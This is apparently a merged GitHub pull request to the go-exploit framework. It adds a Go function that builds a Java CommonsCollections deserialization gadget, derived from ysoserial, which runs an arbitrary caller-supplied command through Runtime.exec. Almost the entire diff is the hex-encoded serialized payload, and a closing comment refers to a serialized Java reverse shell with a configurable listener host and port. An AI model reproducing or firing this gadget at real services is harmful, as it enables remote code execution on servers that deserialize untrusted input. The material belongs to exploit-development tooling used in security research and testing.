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Added Java CommonsCollections10 Deserialization Payload #330

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Merged
merged 3 commits into from
Mar 19, 2025
Merged

Added Java CommonsCollections10 Deserialization Payload #330

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5dc1508
Added java deserialization exploit from CommonsCollections10
lobsterjerusalem Mar 18, 2025
7de4b5d
Added back old go.mod and go.sum
lobsterjerusalem Mar 18, 2025
5dd5074
Realized it made more sense to put it in the right file. Also simplif…
lobsterjerusalem Mar 18, 2025
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279 changes: 279 additions & 0 deletions java/javagadget.go
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Original file line number Diff line number Diff line change
@@ -1,12 +1,291 @@
package java

import (
"errors"
"fmt"
"strconv"
"strings"

"github.com/vulncheck-oss/go-exploit/transform"
)

var errInvalidCommandLength = errors.New("invalid command length")

func ErrorInvalidCommandLength(msg string) error {
return fmt.Errorf("%w: %s", errInvalidCommandLength, msg)
}

// the allocated space (255).
func Commons11CommandBytecode(commandStr string) ([]byte, error) {
if len(commandStr) > 255 || len(commandStr) < 1 {
return []byte{}, ErrorInvalidCommandLength("command must be between 1 and 255 characters")
}

payloadBytes := "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61" +
"\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65" +
"\x74\xba\x44\x85\x95\x96\xb8\xb7\x34\x03\x00\x00" +
"\x78\x70\x77\x0c\x00\x00\x00\x02\x3f\x40\x00\x00" +
"\x00\x00\x00\x01\x73\x72\x00\x34\x6f\x72\x67\x2e" +
"\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f" +
"\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f" +
"\x6e\x73\x2e\x6b\x65\x79\x76\x61\x6c\x75\x65\x2e" +
"\x54\x69\x65\x64\x4d\x61\x70\x45\x6e\x74\x72\x79" +
"\x8a\xad\xd2\x9b\x39\xc1\x1f\xdb\x02\x00\x02\x4c" +
"\x00\x03\x6b\x65\x79\x74\x00\x12\x4c\x6a\x61\x76" +
"\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63" +
"\x74\x3b\x4c\x00\x03\x6d\x61\x70\x74\x00\x0f\x4c" +
"\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61" +
"\x70\x3b\x78\x70\x73\x72\x00\x3a\x63\x6f\x6d\x2e" +
"\x73\x75\x6e\x2e\x6f\x72\x67\x2e\x61\x70\x61\x63" +
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"\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e" +
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"\x67\x65\x74\x73\x2e\x6a\x61\x76\x61\x0c\x00\x0a" +
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"\x65\x72\x69\x61\x6c\x2f\x70\x61\x79\x6c\x6f\x61" +
"\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67" +
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"\x00\x40\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72" +
"\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c" +
"\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f" +
"\x78\x73\x6c\x74\x63\x2f\x72\x75\x6e\x74\x69\x6d" +
"\x65\x2f\x41\x62\x73\x74\x72\x61\x63\x74\x54\x72" +
"\x61\x6e\x73\x6c\x65\x74\x01\x00\x14\x6a\x61\x76" +
"\x61\x2f\x69\x6f\x2f\x53\x65\x72\x69\x61\x6c\x69" +
"\x7a\x61\x62\x6c\x65\x01\x00\x39\x63\x6f\x6d\x2f" +
"\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63" +
"\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74" +
"\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f" +
"\x54\x72\x61\x6e\x73\x6c\x65\x74\x45\x78\x63\x65" +
"\x70\x74\x69\x6f\x6e\x01\x00\x1f\x79\x73\x6f\x73" +
"\x65\x72\x69\x61\x6c\x2f\x70\x61\x79\x6c\x6f\x61" +
"\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67" +
"\x65\x74\x73\x01\x00\x08\x3c\x63\x6c\x69\x6e\x69" +
"\x74\x3e\x01\x00\x11\x6a\x61\x76\x61\x2f\x6c\x61" +
"\x6e\x67\x2f\x52\x75\x6e\x74\x69\x6d\x65\x07\x00" +
"\x2a\x01\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69" +
"\x6d\x65\x01\x00\x15\x28\x29\x4c\x6a\x61\x76\x61" +
"\x2f\x6c\x61\x6e\x67\x2f\x52\x75\x6e\x74\x69\x6d" +
"\x65\x3b\x0c\x00\x2c\x00\x2d\x0a\x00\x2b\x00\x2e" +

// 255 characters were allocated, we just put back the unused
// length as spaces
"\x01\x00\xff" + commandStr + strings.Repeat(" ", 0xff-len(commandStr)) +

"\x08\x00\x30\x01\x00\x04" +
"\x65\x78\x65\x63\x01\x00\x27\x28\x4c\x6a\x61\x76" +
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"\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x3b\x0c\x00" +
"\x32\x00\x33\x0a\x00\x2b\x00\x34\x01\x00\x0d\x53" +
"\x74\x61\x63\x6b\x4d\x61\x70\x54\x61\x62\x6c\x65" +
"\x01\x00\x1d\x79\x73\x6f\x73\x65\x72\x69\x61\x6c" +
"\x2f\x50\x77\x6e\x65\x72\x37\x34\x30\x30\x32\x30" +
"\x33\x39\x32\x34\x35\x37\x39\x31\x01\x00\x1f\x4c" +
"\x79\x73\x6f\x73\x65\x72\x69\x61\x6c\x2f\x50\x77" +
"\x6e\x65\x72\x37\x34\x30\x30\x32\x30\x33\x39\x32" +
"\x34\x35\x37\x39\x31\x3b\x00\x21\x00\x02\x00\x03" +
"\x00\x01\x00\x04\x00\x01\x00\x1a\x00\x05\x00\x06" +
"\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x04" +
"\x00\x01\x00\x0a\x00\x0b\x00\x01\x00\x0c\x00\x00" +
"\x00\x2f\x00\x01\x00\x01\x00\x00\x00\x05\x2a\xb7" +
"\x00\x01\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00" +
"\x06\x00\x01\x00\x00\x00\x2f\x00\x0e\x00\x00\x00" +
"\x0c\x00\x01\x00\x00\x00\x05\x00\x0f\x00\x38\x00" +
"\x00\x00\x01\x00\x13\x00\x14\x00\x02\x00\x0c\x00" +
"\x00\x00\x3f\x00\x00\x00\x03\x00\x00\x00\x01\xb1" +
"\x00\x00\x00\x02\x00\x0d\x00\x00\x00\x06\x00\x01" +
"\x00\x00\x00\x33\x00\x0e\x00\x00\x00\x20\x00\x03" +
"\x00\x00\x00\x01\x00\x0f\x00\x38\x00\x00\x00\x00" +
"\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01" +
"\x00\x17\x00\x18\x00\x02\x00\x19\x00\x00\x00\x04" +
"\x00\x01\x00\x1a\x00\x01\x00\x13\x00\x1b\x00\x02" +
"\x00\x0c\x00\x00\x00\x49\x00\x00\x00\x04\x00\x00" +
"\x00\x01\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00" +
"\x06\x00\x01\x00\x00\x00\x36\x00\x0e\x00\x00\x00" +
"\x2a\x00\x04\x00\x00\x00\x01\x00\x0f\x00\x38\x00" +
"\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00" +
"\x00\x00\x01\x00\x1c\x00\x1d\x00\x02\x00\x00\x00" +
"\x01\x00\x1e\x00\x1f\x00\x03\x00\x19\x00\x00\x00" +
"\x04\x00\x01\x00\x1a\x00\x08\x00\x29\x00\x0b\x00" +
"\x01\x00\x0c\x00\x00\x00\x24\x00\x03\x00\x02\x00" +
"\x00\x00\x0f\xa7\x00\x03\x01\x4c\xb8\x00\x2f\x12" +
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"\x01\x00\x02\x00\x23\x00\x10\x00\x09\x75\x71\x00" +
"\x7e\x00\x0e\x00\x00\x01\xd4\xca\xfe\xba\xbe\x00" +
"\x00\x00\x32\x00\x1b\x0a\x00\x03\x00\x15\x07\x00" +
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"\x72\x69\x61\x6c\x56\x65\x72\x73\x69\x6f\x6e\x55" +
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"\xe6\x69\xee\x3c\x6d\x47\x18\x01\x00\x06\x3c\x69" +
"\x6e\x69\x74\x3e\x01\x00\x03\x28\x29\x56\x01\x00" +
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"\x4e\x75\x6d\x62\x65\x72\x54\x61\x62\x6c\x65\x01" +
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"\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x62\x6c\x65" +
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"\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1a" +
"\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02" +
"\x00\x08\x00\x01\x00\x01\x00\x0a\x00\x0b\x00\x01" +
"\x00\x0c\x00\x00\x00\x2f\x00\x01\x00\x01\x00\x00" +
"\x00\x05\x2a\xb7\x00\x01\xb1\x00\x00\x00\x02\x00" +
"\x0d\x00\x00\x00\x06\x00\x01\x00\x00\x00\x3a\x00" +
"\x0e\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x05\x00" +
"\x0f\x00\x12\x00\x00\x00\x02\x00\x13\x00\x00\x00" +
"\x02\x00\x14\x00\x11\x00\x00\x00\x0a\x00\x01\x00" +
"\x02\x00\x16\x00\x10\x00\x09\x70\x74\x00\x04\x50" +
"\x77\x6e\x72\x70\x77\x01\x00\x78\x73\x72\x00\x2a" +
"\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63" +
"\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65" +
"\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70\x2e\x4c" +
"\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82\x9e\x79" +
"\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61\x63\x74" +
"\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67\x2f\x61" +
"\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e" +
"\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" +
"\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65" +
"\x72\x3b\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e" +
"\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f" +
"\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f" +
"\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e" +
"\x49\x6e\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73" +
"\x66\x6f\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c" +
"\xce\x38\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67" +
"\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c" +
"\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c" +
"\x00\x0b\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d" +
"\x65\x71\x00\x7e\x00\x09\x5b\x00\x0b\x69\x50\x61" +
"\x72\x61\x6d\x54\x79\x70\x65\x73\x71\x00\x7e\x00" +
"\x08\x78\x70\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76" +
"\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63" +
"\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00" +
"\x00\x78\x70\x00\x00\x00\x00\x74\x00\x0e\x6e\x65" +
"\x77\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72" +
"\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" +
"\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b\xab\x16" +
"\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x78\x70\x00" +
"\x00\x00\x00\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" +
"\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70" +
"\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46" +
"\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72" +
"\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64" +
"\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x00\x77\x08" +
"\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x78"

return []byte(payloadBytes), nil
}

// This is a serialized java reverse shell. The gadget was generated by ysoserial
// but using the code in this pull https://github.com/frohoff/ysoserial/pull/96
// and updated to make it easy to swap in the desired lhost+lport of our choosing
Expand Down